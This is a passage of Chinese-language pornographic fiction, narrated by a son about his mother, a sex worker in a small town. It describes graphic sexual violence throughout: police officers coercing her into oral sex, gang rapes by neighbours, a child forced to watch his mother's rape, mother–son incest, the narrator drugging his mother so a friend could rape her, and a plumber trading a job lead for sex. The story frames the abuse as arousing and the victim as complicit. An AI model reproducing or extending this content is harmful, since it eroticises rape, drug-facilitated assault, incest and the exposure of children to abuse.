而在菜场的不远处,就有一个派出所,于是母亲赶紧跑过去,准备报案。
刚一推开大门,母亲进去后,里面的片警们便吹起了口哨:“哟,这不是洗头房那个骚婊子嘛!”
随后几个人不由分说,便一拥而上,在我妈妈身上上下其手,捏奶子的捏奶子,摸屁股的摸屁股。我妈妈见状,只好一边竭力推开,一边娇叱着“不要,不要……”
可这帮寡廉鲜耻的片警们,自然不理会我妈妈。他们几只大手一齐上,分分钟便解开了我妈妈的上衣纽扣,把她大红色的奶罩给扒拉下来一半,露出里面白花花的大乳房。紧接着,又有人将手伸进我妈妈的碎花裙内,隔着肉色连裤袜和丁字裤,抚摸、玩弄我妈妈的阴部。
过了好一会儿功夫,才总算有个干正事的家伙,问我妈妈:“来这干啥?是不是想念哥几个的鸡巴了?”
他一边问话,一边还不忘揪住我妈妈的两粒大乳头,夹在手指间捻过来,搓过去,玩的不亦乐乎。
我妈妈听了那个片警的话,自然是摇头否认,并告诉他们,自己的钱包被小偷扒了,这趟来是报案的。不过与此同时,妈妈也不再挣扎了,只是一动不动地站在原地,任凭那些男人玩弄、猥亵她的身子。
按理说,为民服务,破案抓人,本是这帮片警们的天职。但好不容易逮到一次机会,可以与我妈妈这块味美的“肥肉”,好好地亲热亲热,他们自然不会轻易错过。
片警们向我妈妈承诺,他们可以保证把她的钱包找回来,还一分钱不少的归还与她。
但是有个要求:就是在办案之前,我妈妈必须答应他们,就在这派出所办公室,她要脱光全身上下的衣服,然后用嘴给他们每人口交一次,并且还要口爆和食精……不然不算数。
我妈妈听了,心想,反正这也不是头一回了,为了找回钱包,还是忍忍吧,就算今天白白给狗日了!母亲没怎么犹豫,当下点头答应了。
接下来,好戏便上演了:只见片警们兴高采烈地走向四周,把大门一关,并拉下所有的窗帘,再把茶几和椅子等搬开,挪出空间来。
一切就绪后,没办法,当着一屋子如狼似虎的男人的面,母亲虽然小脸涨得通红,但还是乖乖地从上衣、裙子,一件件的,直脱到里面的丝袜和内裤。待母亲全身一丝不挂后,她又按片警们的吩咐,跪在地上,先伺候起了他们的大队长。
大队长坐在椅子上,我妈妈跪在他脚下,温柔地帮他解开裤腰带后,母亲轻启红唇,伸出舌头,开始舔弄着他臭烘烘的鸡巴。母亲舔的很仔细,机灵的小舌滑在肉棍上,从下至上,睾丸、阴茎、龟头和马眼,全部一一舔到。就连男人包皮里的污垢,都被母亲用舌尖翻开,全部舔舐、清理干净。
大约吹舔了约十分钟,大队长一脸爽歪歪的模样,看来是要射精了。只见他突然腰部一发力,将整根粗壮的肉棒就插进了我妈妈的喉咙里。瞬间,母亲的口腔便被他的大鸡巴塞得满满当当,只能发出含糊不清的“呜呜”声。
射精后,母亲仍将大队长疲软的鸡巴含在嘴里,还用手握着他的卵袋,轻轻地温柔抚弄。
大队长爽完后,其他片警们如法炮制,轮番将自己的鸡巴插进我母亲嘴里享福。母亲口交的功夫很棒,每次都把男人的鸡巴深深含进嘴里,然后慢慢吐出,舌尖在龟头上翻动,还一下下顶着马眼上敏感处。
这帮警察可比一般的嫖客更会玩,他们竟给我母亲带上了手铐脚链,并命令母亲光着身子蹲在墙角,还必须双手抱头。威逼之下,后来母亲为他们口交时,往往都是像个囚犯一样,一边高高撅着屁股,露出淫靡的小穴和屁眼,一边战战兢兢地为他们口交。
根据之前的“约定”,大多数男人射精时,都直接在我妈妈嘴里口爆,还让我母亲张开小嘴,让他们检查;少数几个没射准的,精液喷在了我妈妈的脸颊或额头上,母亲便用手指把脸上的精液一丝不漏的刮到嘴里,再当着他们面吞咽进去。
那天后来,母亲的钱包有没有被成功找回,我不知道;但当母亲从派出所里走出来时,已是正午当头,时间足足过了三个钟头……
大学毕业后,接下来自然是找工作。这时候,我再次体会到了人生的艰难,虽然毕业于本一学校,读的专业也不赖,但像我这样一个,既没钱、又没背景的县城小孩,要想找到好的职位,仍然十分费劲。
在省城晃悠了一个多月,我毫无收获。待遇好的工作,我学历达标,但关系不够,用人单位更看重家庭背景;待遇差点的,我看了下合同,几乎是要我卖身为奴,再看看薪金,还不如去乡下种地。
自己十年寒窗,好不容易熬到毕业,手里攥着高等文凭,却仍要母亲时时供养……想到自己母亲赚钱的不易,我心里如滴血般伤痛。
回想小时候,在家附近各种角落,看到妈妈穿着艳丽的丝袜、短裙,被邻居叔叔们高举一条美腿,从后面狠狠抽插小穴。见到我路过,妈妈就紧张地大喊大叫,让我快点走,快点回家!邻居叔叔见我年幼,便故意戏弄我们母子俩,非要让我观看他蹂躏我妈妈,当着我的面,他们一边狂操我妈的肉屄,一边狠狠地打我妈的屁股、揪扯她的奶头。
学校要交学费时,钱不够用了,我妈妈还得“加班”,被迫带陌生男人回家过夜。我记忆中,那段难忘的日子里,每到夜晚时分,别的住户都关灯睡觉了,我家却依旧灯火通明,热闹非凡。
根据邻居们的说法,一到缺钱关口,每天晚上来临幸我妈妈的好色男人,最少两个,一般五六个,最多时甚至十几个人。这些人清一色的都是小区熟客,因为家住的不远,他们往往都“弄”到很晚。即便到了凌晨,依旧能听见从我妈妈卧室里传出一阵阵男人的淫笑声,以及女人叫床的呻吟声。
这些肆无忌惮的嫖客们,在我家客厅里,厕所里,卧室里,四处奸污或轮奸我妈妈,家里每一个角落,都有他们肏过我妈妈的痕迹。
但作为一名职业妓女,母亲却十分的敬业,只要嫖客们出的钱足够,母亲几乎就任其玩弄、毫无怨言。
他们让我母亲脱得精光光,裸体陪他们打牌。输的人不用给钱,赢得人却可以得到肏我妈妈的机会,在规定时间内,随意使用我妈妈身上三个肉洞。让我妈妈跪在地上口交,翘起屁股插穴,或是用啤酒瓶给她灌肠……最后一副牌打完,三四个男人便一齐上,将数根肉棒分别插在我妈妈的阴道、屁眼和口腔中,同时做起活塞运动,所谓三穴中出。我妈妈虽是卖淫的婊子,但她毕竟还是个弱女子,体内一下子被人插进三根肉棍,疼得我妈妈嗷嗷直叫,淫声大作,好几次还把熟睡中的我给吵醒了。
……
扯得有点远,言归正传。
在面试完最后一家公司,并再次被主管当面拒绝后,我内心极度受伤,失望之下,我准备暂时离开省城,回老家与母亲商量商量。
回到家后,刚进小区门口,正巧碰到门卫老赵,大家都街坊邻居十几年了,我便与他寒暄了起来。
老赵知道我今年大学毕业,便询问了我几句找工作的事儿。我如实告诉他,“石沉大海,杳无音讯”。老赵听了,不禁摇摇头,叹了口气,表示他能理解,随后还告诫我,“你妈妈赚钱不容易,要早点找到活干,自己养活自己。”
既然聊到了妈妈,我便随口问了老赵一句,今天有没有见到她。老赵撇撇嘴说,没见到我妈妈,但他知道我妈现在何处,就在街对面的网吧里。
“妈妈在网吧里干啥?”
我心里有些疑惑……
从老赵的传达室里走出来,我直奔街对面那所黑网吧。
虽说是黑网吧,但它规模还真不小。上下两层楼,从外面看去,里面空间不大,但却密密麻麻的摆了好几十台电脑,门口的柜台相,当于一家小店,香烟、零食、方便面,什么都卖。由于我们家这一带就仅此一家网吧,因此去上网、玩游戏的人特别多,天天座位都爆满,24小时不关门营业,生意好的令人羡慕。
因为从小只知埋头苦读,我从未进过任何家网吧,直到上大学后,我才第一次接触电脑游戏。
站在网吧敞开的大门口,我没有进去,而是伸头往里面瞧了瞧,发现妈妈果然在这!
此时,妈妈与一个中年男人肩并肩的,坐在柜台里面。俩人动作十分亲密,往下看,那人一直把手放在我妈妈雪白的大腿上,隔着丝袜,正在抚摸她的大腿内侧。妈妈用胳膊搂着那人的粗脖子,嘴里似乎在窃窃私语。紧接着,我又看见那人将一只手伸进我妈妈的碎花裙里,似乎在用手指挑逗、摩擦她的阴部,顿时,我妈妈就不自主地打了个寒颤。
巧的是,那段时间正好当没人上柜台开机、下机,于是那中年男人的手便越来越不规矩,竟扯开我妈妈领口的纽扣,公然揉捏起妈妈的巨乳来。我妈妈虽然年近四十,但她那对大肥乳依旧弹性十足,那中年男人像颠皮球似的,用手托着我妈妈的乳房底部,上上下下、左左右右,颠来颠去地玩弄。
对于那人的种种作为,妈妈既不出声,也不躲避,任由他在自己身上随便摸、随便捏。
过了一会儿,妈妈去了一趟厕所。出来的时候,她手里却拿着自己的丝袜以及胸罩内裤,想必是刚刚脱下的……周围几个社会青年瞧见了,纷纷惊讶地行起了注目礼。
妈妈发现别人正盯着她手上的东西看,一个个眼神里还充满了色欲,霎时间,妈妈小脸“刷”的一下变通红了。接着她便赶紧加快脚步,回到了柜台那里去。
原来,全拜那中年男人所赐。他觉得隔着衣服摸女人,始终隔了一层,便叫我妈妈去厕所,把内衣内裤丝袜什么的,统统都脱掉,好让他直接肉贴肉地,与我妈妈身上三点亲密接触。
……
这个中年男人,是这家网吧的老板,姓何,快五十岁,街坊邻居们都叫他老何。
老何是我们那一个镇主任的堂哥,因为有这么层关系,当年网吧兴起,风靡全国时,他便在这破巷子里,开了一间“三无”黑网吧。毕竟是领导的亲戚,老何在附近一带很吃得开,那些局里面的小吏们,从来不敢为难他。
我站在网吧外面,驻足观看别的男人玩弄我妈妈。大门口进进出出的网吧少年们,络绎不绝,他们有的诧异地望一望我,觉得我是个傻逼;有的顺着我的目光,望向柜台,看到我妈妈坐在男人大腿上,他们便不怀好意地笑了几声。
不知不觉中,天色渐渐变暗了。
“算了,还是先回家吧……”
我心里默默想到。
像年幼时放学一样,我背着一破旧的双肩包,独自一人,茫然地走在回家的路上。
经过巷子口时,突然听见有人叫我的名字。我停下脚步,四处张望了一下,声音好像是从那个方向传来——不远处的自行车棚里,蹲着三四个抽烟的男青年,其中一个我还认识:那不是我的好兄弟张强吗?!
“回来拉,怎么也不跟哥们儿说一声?”
张强拉着我的肩,笑着说道。他身旁那几个男青年,见我是张强的朋友,立刻便凑上来向我递烟。
我摆摆手,说自己不会抽烟。
“去哪儿呢,怎么还背个包?”
“刚下车,这不正准备回家嘛……”
我们俩人简单寒暄了几句后,张强突然面露难色,语气很不自在地问我:“华子,那什么……最近哥们手头有些紧,你看……能帮个忙不?”
“帮……帮什么忙?”
“也没啥大事儿,就那什么……借点儿钱,下周就还你!”
一听到“借钱”两字,我立马也变得不自在了:“这样啊,但我身上没现金,只有卡。”
说完,我本想借机走人,不料还没转身,却被张强一个哥们叫住了:“等下等下!你急个啥?!”
那人一副小混混模样,瞧样子就知道不好惹:“不是说身上没钱吗,那你家里肯定有!”
张强听他这么一说,随即两眼发光,但瞬间又暗了下去。半晌,他无可奈何地看着我,说道:“华子,真不好意思了!帮帮忙呗,我们跟你回去取一趟。”
接着我又软磨硬泡了几句,很快,张强旁边那几人,本来还一副和和气气的模样,现在却个个脸上挂起了怒容。见情况有些不妙,我很纠结,但又毫无办法,想了想,还是自认倒霉吧。
随后,我便领着张强他们几人回了家。到了家门口,我没让他们进去,而是让他们在楼道里等着,自己进屋拿了点现金,算是破财消灾。
……
晚上十点半左右,妈妈终于从外面回来了。
一进门,妈妈看见家里电视机开着,沙发上还坐着个大活人,她不禁吓了一大跳;仔细瞧了瞧后,发现这大活人不是别人,而是自己唯一的宝贝儿子,妈妈连忙激动地小跑过来,一把抱住我说:“儿子,你怎么回来啦?!是不是想妈妈啦?”
虽然我已经二十多岁了,可母亲仍然拿我当小孩子看。
见到母亲后,我也非常地开心、兴奋,好像那一瞬间,之前所有的不愉快都烟消云散了。
我关掉嘈杂的电视机,拉起母亲的小手,俩人就这样相互依偎着坐在沙发上,聊起了各自最近的生活。
聊着聊着,妈妈似乎有意识地分开了一下双腿,黑色的超短裙下,妈妈连裤袜的裆部已经湿了一大块,两片肥厚的阴唇翻开在肉屄口,隐约中露出着阴道里蠕动的嫩肉。
看见妈妈下身一片淫水泛滥,我明知故问道:“妈,你怎么不穿内裤啊?丝袜都湿了……”
妈妈没有正面回答我的问题,她媚眼如丝地看了我一眼,终于忍不住,一把将我紧紧搂在怀里,娇喘着说道:“儿子,妈妈好想你哦!快……快给妈妈!”
说完,妈妈便淫荡地吐着舌头,晶莹的口水顺着舌尖滴落,流在她包裹着连裤袜的大腿上;欲火熊熊燃烧着,妈妈满眼期待地望着我,她脸上的表情,又似放荡,又似勾人。
面对如此诱惑,试问哪个男人能受得了?
我迅速站起身,除去自己的衣裤,露出高高翘起的阳具;妈妈也随即脱下连裤袜,躺在沙发上彻底打开双腿。我兴奋地扑在妈妈身上,一股熟悉的体香扑面而来,好亲切!妈妈虽然喷的是廉价香水,但仍让我回味无穷。
随后,我终于要再次回到那个生我之门,腰部用力向前一挺,我便将整支阳具都插入到了妈妈的肉穴中。
鸡巴狂抽猛送的同时,我的双手也不曾闲着,一手狠狠搓捏着妈妈饱满的乳房,一手尽情抚摸她的玉腿根部。几个月没做爱了,我今晚格外刚猛,在我大鸡巴的蹂躏下,妈妈娇嫩的肉穴口不断往外涌着淫水,把沙发座垫都淋湿了一大片。
“宝贝……你的东西好大哦……”
“对……对不起,妈……妈妈……我忍不住了……”
“用力……用力干我!干死妈妈……”
妈妈的小骚穴好像得了瘙痒病似的,她拼命扭动白嫩的大屁股,竭力用阴道壁摩擦我的龟头,以求止痒;我也不甘示弱,每抽插几下,就故意将臀部往下重重一沉,“滋……”的一长声,鸡巴全根尽没,龟头直顶到妈妈的子宫颈。
“哎呦!宝贝,妈妈要被你肏死了!”
听着妈妈的淫声秽语,我眼前突然晃出嫖客们在妈妈身上寻欢作乐的场景,我不由得更加卖力,拼了命地挺动下身,将妈妈骚屄里的淫肉肏的直往外翻,好像一番无言的惩罚。
我和妈妈肉欲交织着,在家中旧沙发上,“啪啪啪”地足足干了一个多小时,我终于觉得龟头阵阵酥麻。
妈妈知道我即将射精,连忙扭着腰肢,爬起身,钻进我的胯下,紧接着,只见妈妈张开鲜红的樱桃小嘴,含住我刚从她阴道里拨出的龟头,一阵仔细吮吸、舔舐之后,我终于精关一松,“噗噗噗”地将精液朝妈妈嘴里猛射。
……
隔天上午,我一觉睡到11点多钟。起床后,妈妈正好从外面买菜回来。
当天阳光明媚,我妈妈穿着一条浅绿色的连衣裙,裙摆刚刚过膝,松紧的,还有许多漂亮的花边;连衣裙里面,妈妈还穿着一条黑色连裤袜,脚上是一双漆亮漆亮的皮靴。
这身性感香艳的打扮,不仅让人丝毫看不出母亲的真实年龄,还令母亲整个人看起来又骚又浪,浑身上下都散发着浓浓的肉欲气息……要知道,再过不了几个月,母亲便整整四十周岁了。
“昨晚睡得还好吗?”
妈妈为我把早饭端到了餐桌上。
“嗯,睡得特别沉,可能是累了吧……”
我依旧睡眼惺忪,有气无力地说道。
我和妈妈正吃着饭,忽然有人敲门,门打开后,发现原来是张强。
“嘿,都在家啊……正好!我也没吃饭。”
张强倒是不客气,直接就大摇大摆地上了桌。
见到自己儿子的这位好朋友、好兄弟,母亲却一反常态,不仅没了往日的热情招待,反而诧异地惊叫一声,小脸顿时红到了脖子根。
“怎么了,妈?”
“没事,没事……我……我去给他盛饭。”
说完,母亲便脸色难看地走开了。一旁的张强,却嘴角轻微上扬,好像在怪笑一般。
我见状有些古怪,但当下也没多想,便笑着和张强说:“小强,我昨晚睡得迟,还准备下午去找你玩呢!”
“噢……是啊,华子,咱哥俩有段日子没见了吧,来来来,我先把借你的钱还喽!”
张强一边说着,一边从皮夹里掏出钱还给我。
过了一会儿,母亲从厨房里走出来,手中还端了好几盘凉菜,母亲说,反正时候不早了,干脆早饭午饭一起吃了吧。看着一桌子的丰盛佳肴,我摩拳擦掌着,准备大快朵颐一番。
可奇怪的是,母亲站在餐桌前,却顿住了,好像不愿意入座。
正当我一头雾水之际,张强突然开口说道:“阿姨,您就甭装了吧!”
话音刚落,张强便一把掀起我妈妈的裙摆,然后把手放在她的大屁股上,隔着黑色丝袜,在我妈妈的臀肉上又掐又捏起来。我妈妈虽然脸上写满了不情愿,但仍一动不动地站在原地,任由张强把玩她的大屁股……
妈的!原来这些年我一直被蒙在鼓里!
直到这个时候,我终于了解到:自己多年的好兄弟张强,竟然鸠占鹊巢,自从我去省城上大学后,他便使出各种手段,背着我和我妈妈乱搞了起来。
起初,俩人的关系还算隐晦,如色情小说里的乱伦主角们一样,母亲一直是半推半就,张强也一直见好就收,不算过分,毕竟中间还碍着我的情面……但一两年之后,因为我长期几个月都在外求学,张强便越来越无所顾忌,母亲也彻底沦为了他的性玩物。
张强和其他人吹嘘,说我妈妈是他家请的保姆,每次干完家务后,他都拉我妈妈上床颠鸾倒凤,尽情翻云覆雨;后来那些人不信张强,都说他是吹牛,张强便傻乎乎地邀请他们一起,三五成群地组团去轮奸我妈妈,或是把我妈妈从家中拖出来,带到附近的宾馆尽情糟蹋,肆意玩弄;更有甚者,很快东窗事发,张强他爸也知道了此事,但他爸不仅不责怪张强,反而和他一起奸淫我妈妈,让我妈妈同时吹两根鸡巴,屁眼和小穴一起开发,可谓是爷俩同账,父子同床……
知道真相后的我,内心憋屈到了极点,一边是有兄弟之情的铁哥们,一边是有养育之恩的母亲,千头万绪,竟令人欲哭无泪。
正当我沉默之际,一直一言不发地母亲,开口说道:“儿子,其实……其实妈妈都知道……”
“你知道什么?”
我头也不抬地问她。
“妈妈知道,你们上学的时候,你……你好几次用药把妈妈给迷了,然后……然后让小强……上我……”
上学的时候?五六年前?这……
啊!原来母亲当年一直知道自己被人迷奸,只是没说出来罢了。
“那几次,你喊小强到家里玩,每次他一过来,没多会儿我就困得不行……一觉睡醒之后,大腿很酸,下面也很痛,有时候胸部上还有牙印……妈妈毕竟是内行人,这些症状,难道我还看不出来么?”
听着母亲娓娓道来,我只觉得两耳轰鸣,不知所措。
“哎,都少说两句吧!”
张强从椅子上站起来,打断了我们母子俩的对话,“华子,你听清楚喽,你永远是我的好兄弟,这一点我不会忘记;至于阿姨,咱们不妨都看开点吧,反正阿姨你也是在外面卖的,肥水不流外人田嘛!”
说完,张强便一把扛起我母亲,径直朝卧室方向走去……关上卧室大门之前,张强还好像啥事都没发生似的,语气淡定地对我说:“赶紧吃饭,华子,下午哥们儿带你出去high!”
……
卧室内,张强迫不及待地把我母亲按倒在床,猴急地一阵拉扯之后,母亲的连衣裙领口大开,胸罩摇摇欲坠,只剩下半边挂着。透过门缝,我清楚地看见,母亲白嫩的乳房裸露出上半部分,中间被下滑的束带一勒,两个浑圆坚挺的乳球互相挤压着,形成了一道非常深遽的乳沟,令人看得口水直流。
此时的张强,兴奋不已,他使劲地揉捏着母亲胸前两颗大奶瓜,贪婪地品尝吸吮着母亲乳头的最尖端。
过了一会儿,张强解开牛仔裤上的皮带,掏出自己的鸡巴。母亲看着眼前那根直挺挺的阳具,条件反射般地就主动爬了过去,一口便将张强的鸡巴叼进嘴里。透过门缝,我偷看母亲跪在地上给自己的小伙伴卖力口交着,只觉得一阵莫名兴奋。
很快,张强的阳具就被我妈妈吹舔的又硬又高,于是我妈妈便起身坐到床上,双脚开成M 字状,然后握住张强的阳具,引导他插进自己的肉穴。
张强龟头刚刚探进我妈妈的阴道口,他便腰部用力,往下使劲一沉,直把阳具顶入我妈妈的花心……我妈妈随即开始扭动腰肢,摆动着她那对丰满的大乳房,以迎合张强阳具的抽送。
“嗷……哦……嗷嗷……”,母亲很快就被干得淫声大作。
肏了十几下后,张强突然停下动作,并把手伸到床底,在下面一阵捣鼓之后,他从床底摸出两个木夹子来。
这是什么玩意儿?正当我有些疑惑时,张强淫笑着,揉了揉我妈妈的左乳头,很快乳头就勃立起来,他便拿起一个夹子,生生夹上了我妈妈的左乳……我妈妈吃痛地脑袋左右摇晃,脸上的表情都扭曲了。可张强还觉得不过瘾,他狠狠地打了一下我妈妈的肥屁股,说道:“还没完呢,骚货!谁让你奶子长这么大!”。话音刚落,张强又拿起另一个木夹子,以同样的方式夹上了我妈妈的右乳头……
下午四点多钟,张强仍未离开我家,他和我妈妈赤裸裸地滚在卧室大床上——那个平时只属于我和母亲俩人的激情地方——翻云覆雨数小时,不知疲倦般地狠狠肏弄着我妈妈的小骚穴。
而我呢,也已经怒气全消,默默地接受了这个现实,此时正百无聊赖地在客厅里看电视。
……
接下来的几天,不知出于什么原因,张强似乎刻意躲着我。关于那天中午的事情,我确实已经放下心结,但毕竟是自己的亲妈被别人肏了,总不至于还要我主动找他吧!
管不了那么多了……眼下最要紧的,还是我找工作的事情。
周末晚上,吃过饭,我和妈妈俩人准备出去,一边散步,一边商议找工作。
出门之前,妈妈还特地梳妆打扮了一番:她化了淡妆,高高盘起头发,穿上性感的齐B 小短裙和黑色网袜,腰间还挎着一个鼓鼓的牛皮小包。
我们母子俩漫无目的地走在大街上,母亲紧紧挽着我的胳膊,说话口气也细声细语的,好像一个幸福美满的小媳妇。
“儿子啊,省城那么大的地方,那么多大公司、大企业,怎么就找不到一个好工作呢?”
“现在的情况,唉……跟以往太不同了,您不知道,现在大街上满是大学生,一张文凭不过就是一张废纸!”
“别瞎说!妈妈就不信,我儿子上的大学那么好,还比不上别人家?”
“妈,您搞错了,最关键的不是大学,而是家里的关系背景,现在的用人单位只看重这个……”
“唉……这个社会啊……真是……”
“妈妈,要不我在咱们县城先试一试?”
“什么?可咱小县城,能有什么好工作……你不会是想和妈妈一直住一起,好干那事儿吧?”
“当然没有!您想哪儿去了?现在我也没有那份心啊!”
“没有就好。儿子,你可得记住,色字当头一把刀,男人千万得管住自己的裤裆。”
“我知道,您从小就教育我……”
我和母亲聊着聊着,突然身后有人喊我妈妈,还叫她的名字:“喂,冯慧芳!”
被人打断了我的话,我有些恼火,回过头去一瞧,发现是小区门口开沙县小吃的胡老板。
“果真是你啊,小冯。”
胡老板走近我们母子俩,笑呵呵地打起招呼。
“胡大哥,我在陪儿子散步呢,你……”
母亲话还没讲完,胡老板便伸出粗壮的胳膊,一把搂住我妈妈,双手毫不客气地抓弄起她的大乳房来……出来散个步,竟遇到这种事,我们母子俩顿时面面相觑,不知该如何是好。
“胡……胡大哥,不要啊,我儿子还在这呢!”
妈妈一边拼命挣扎,一边红着脸说道。
“这有啥子关系嘛……今天你穿这么骚,不就是出来寻汉子的嘛!”
当着自己孩子的面,妈妈被他的话语凌辱,虽觉得十分羞耻,但妈妈并不想多做辩解,只好皱着眉头,不搭理他。可胡老板怎会就此罢休……说完,他便更加用力地揉挤着妈妈的大乳房,还把手伸到妈妈的网袜里面,拨开她阴门处窄细的丁字裤,两根手指一齐插入我妈妈的阴道内,“扑哧扑哧”,伴着淫水声一下下抽送起来。没过几十秒,妈妈就被他玩得两脚发软、全身无力,大屁股不断往下沉,只得双手紧紧扒着胡老板的肩膀,以保持平衡。
瞧这熟练的手法,想必这位胡老板平时一定没少“光顾”我母亲。
黑漆漆的大街上,胡老板旁若无人地指奸着我妈妈,完全拿我当透明空气,似乎这个大活人就不存在一般……我瞧俩人玩得起劲,淫笑声、娇吟声不绝于耳,如若继续在这呆下去,无疑是自取其辱,于是我当下便摇摇头,一声不响地走开了。
大约过了十几分钟,在另一条街上,我正垂头丧气地走着,忽然听见“哒哒哒”的高跟鞋声,回头一看,果然是妈妈,她正满头大汗地跑过来。
“妈,刚刚那人也太过分了吧。”
我一脸不悦地说道。
“好了好了,乖,别计较了……”
妈妈气喘吁吁地说道,然后又从皮包里掏出两百块钱,“今天这家伙还挺大方,你看才没多一会儿,妈妈就挣了两张大票子!”
看着妈妈手中的钞票,我一时无言以对。之前散步的好心情,此时也全部烟消云散了……
回到家后,为了惩罚妈妈今天当着我的面,让其他男人乱摸乱搞,我便学着日本AV里的情节,一边坐在沙发上看电影,一边让我妈妈陪侍在旁边,脱光衣服跪在地上,然后让妈妈用舌头舔舐我的脚丫子。
妈妈也不反对,随便我怎么玩弄,她都丝毫不生气。
电影看到一半,我实在受不了妈妈那副淫荡模样,便突然从沙发上站起来,然后用手扯住妈妈的头发,将她也一并拉起。我就这样拽着妈妈,把她整个撂倒在沙发上,妈妈很享受这种被人虐待的感觉,也明白我要干嘛,她会意地分开两条雪白的美腿,主动用手指朝两边扒开肉穴……
“快……快……插我!”
妈妈一边表情淫荡地娇吟着,一边哀求我赶紧将鸡巴插入。
“干死你!你这个臭婊子,贱货!”
这是第一次,我在做爱时对妈妈爆粗口,说出这些有违人伦的下流话。
……
第二天,又睡了一个懒觉。
揉着惺忪的睡眼,起床后,我一个人坐在空荡荡的家中,思绪千头万缕。恍惚之中,我回忆着小时候看母亲与嫖客们上床,和陌生男人玩各种下流的性游戏,自己则在学校里被人指指点点,每天心惊胆战;又想到,昨晚母亲做完性交易后,手里拿着明晃晃的钞票,一脸欣慰,回家后,母子俩人还不知廉耻地激烈交欢……自己寒窗十年,头悬梁锥刺股,就算手里攥着十八张大学文凭,也找不到工作,赚钱养家,更改变不了自己亲妈是妓女的事实。这十几个寒暑,我多么的幼稚啊,竟为自己能考上大学、顺利毕业,人生便从此走向康庄大道。
读了小半辈子书,却毫无用处,真是百无一用是书生!懊悔、沮丧、失望、愤怒,百感交集,一时全部涌上我的心头……
中午12点整,我见妈妈仍未回家,便一个人心情抑郁地出去吃饭。
拿上干瘪的皮夹,我刚出门,一只脚还没迈过门槛呢,就看见楼道里一幅惨烈无比的景象——邻居老王等人正在拿我妈妈取乐:在他们淫威的逼迫下,母亲赤裸着两颗大肥奶,踏着酒红色高跟鞋,全身上下只穿了一条肉色连裤袜,此时她正朝一个肮脏的流浪汉走去。这流浪汉是老王他们花钱“请”来,故意凌辱我母亲的。
接着,在流浪汉惊讶无比的目光中,母亲羞红着脸,紧皱着眉头,帮他脱下了破破烂烂的裤子。然后母亲跪在地上,竟用嘴一口含住流浪汉那根黑乎乎的、令人作呕的阳具,开始一丝不苟地为他口交起来。
母亲在楼道一层给流浪汉吹喇叭,老王他们则站在楼道二层淫亵的观望着,时不时还发出一阵阵哄笑。
过了一会儿,流浪汉似乎反应过来,我母亲不是神经病,而是受人雇佣,表演节目给二层的男人们看呢!于是流浪汉便狰狞毕露,粗暴地撕开母亲肉色连裤袜的裆部,一把将母亲按倒在水泥地上,然后故意倒过来趴在我母亲身上,在众目睽睽之下与她大玩69式!
待流浪汉在我妈妈嘴里爆浆后,老王等人鬼喊鬼叫着,又把我妈妈带到四楼的老曹家。
大门一关,接下来的事情众人皆知,我那可怜的妈妈被推到在床,开始接受嫖客们的尽情蹂躏,变着法子地淫辱……只要嫖客们愿花钱,我妈妈就愿化身一台没有思想的精液吸收器,她既不会反抗,也不敢懈怠,妈妈唯一能做的,就是以吸精为主要功能,让嫖客们把肮脏的精液统统排放到她身上三个肉洞里。
我站在空旷的楼道中央,听着老王他们粗重的喘息声、淫笑声,以及射精时满足的嗥叫;想象着男人们粗糙的大手在我妈妈白嫩丰满的肉体上肆意游走,臭烘烘的大嘴含着我妈妈饱满成熟的奶头和乳晕,贪婪吮吸;妈妈躺着张开双腿,或是跪在地上撅起屁股,男人们长短不一的肉棍轮流插入母亲的生殖器,在她阴道里肆意抽送……
我的大脑里充满了伤感与愤怒的同时,心底却又有一股莫名的兴奋。
晚上,我和妈妈在房间里做爱,亲吻妈妈乳房时,发现乳晕上竟模模糊糊的有牙印,我见此情景,非常生气。不过妈妈细心解释,说牙印是头一天晚上,散步回家后,和我行完房事后留下的。我有点半信半疑,但最终还是消气了。
……
几天后,厨房里的下水管坏了,于是妈妈就打电话叫了一个水管工。这个人几个月前就来过我家一次,那次是来修马桶堵塞的。
上午买完菜回家,妈妈换了一套舒服的便装,她身上只穿一条淡黄色的睡裙,没戴胸罩,下身也忘记穿小内裤了。
水管工十分准时,来到我家后,简单和我妈妈寒暄了几句,便卖力地干起活来。几个小时内,他茶水都没喝一杯,一直趴在全是布满积水的地砖上,左手拿钳子,右手拿扳子,满头大汗地忙活了好久。
工作圆满完成后,妈妈从卧室里翩翩走出,一边微笑着连声称谢,一边付了他三百块劳务费。
水管工接过报酬,随口问了一句:“太太,您儿子怎么不在家?上回来修马桶的时候,他还请我抽了根烟,挺好的小伙子。”
妈妈听到他提起我,脸上表情先是开心,但很快又黯淡下去:“哎,你可不知道,我儿子刚刚大学毕业,但一直找不到工作,现在正在外面到处投简历呢。”
“这倒奇怪了,我记得您儿子跟我说过,他是省城一本大学毕业的,怎么会找不到工作啊?”
“现在这世道……唉,不想提了……”
水管工见我妈妈一副愁眉苦脸的模样,默默思忖了一番,半晌,终于开口说道:“太太,我前几天看公司里的通知,好像就这个月吧,我们公司正在招新人,待遇还挺好,坐办公室的职位,但要求一本文凭,而且最好是本地人……”
“这……这太好啦!”
妈妈高兴地手舞足蹈,继续说道:“那你能不能帮我问问,算大姐拜托你啦!”
这水管工人长得老实巴交,但骨子里却是个滑头色鬼。他见我妈妈有求于他,又看我妈妈衣着暴露,性感丰满的身段十分诱人。于是他便带着性暗示,低声问我妈妈:“太太,工作的事情……我肯定没有问题。但你瞧,厨房那里的水管是修好了,可我这里的‘水管’又坏了,您看怎么办吧?”
“这……不太合适吧,要不……要不我给你点钱?”
妈妈自然懂得他的暗示,但这明晃晃的大白天,又在自己家中,妈妈实在没那心情。
可这水管工似乎已经吃准了我妈妈,他在毫无征兆的情况下,突然伸出手,一把揪住我妈妈早已露点的乳头,然用两根手指夹住中间,使劲地搓弄起来。
“啊!不要!”
妈妈只觉得乳头被他捏的很痛,不禁娇滴滴地大叫一声。
“太太,我看你也不是啥良家妇女,不然为啥明知道我要来,还穿得这么骚,连胸罩都不戴?!”
母亲被他一语击中要害,羞得低下头,默不作声……紧接着,水管工就趁机,一把掀开我妈妈的睡裙,然向两边扒开她的大腿,露出我妈妈阴部粉红的骚屄,下面是深色的屁眼。
母亲娇嫩的小肉屄上有两大块暗色的肉,中间夹着一块象黄豆那么大的阴核,水管工用手指往两边拨开我妈妈小肉屄上那两片肉,对着粉红色的一张一合的肉洞,将他有力的右手中指探入,一直到全插进去。
妈妈“啊……”的一声,闭着眼睛呻吟起来,接着,水管工又抽出中指,换食指和中指一起伸进去,一边用大拇指拨弄着那块黄豆大小的阴核,它很快变得通红。
在水管工手指的玩弄下,我妈妈很快就香汗淋漓,双目微醺,开始“哎哟哎哟”地不停叫唤着。
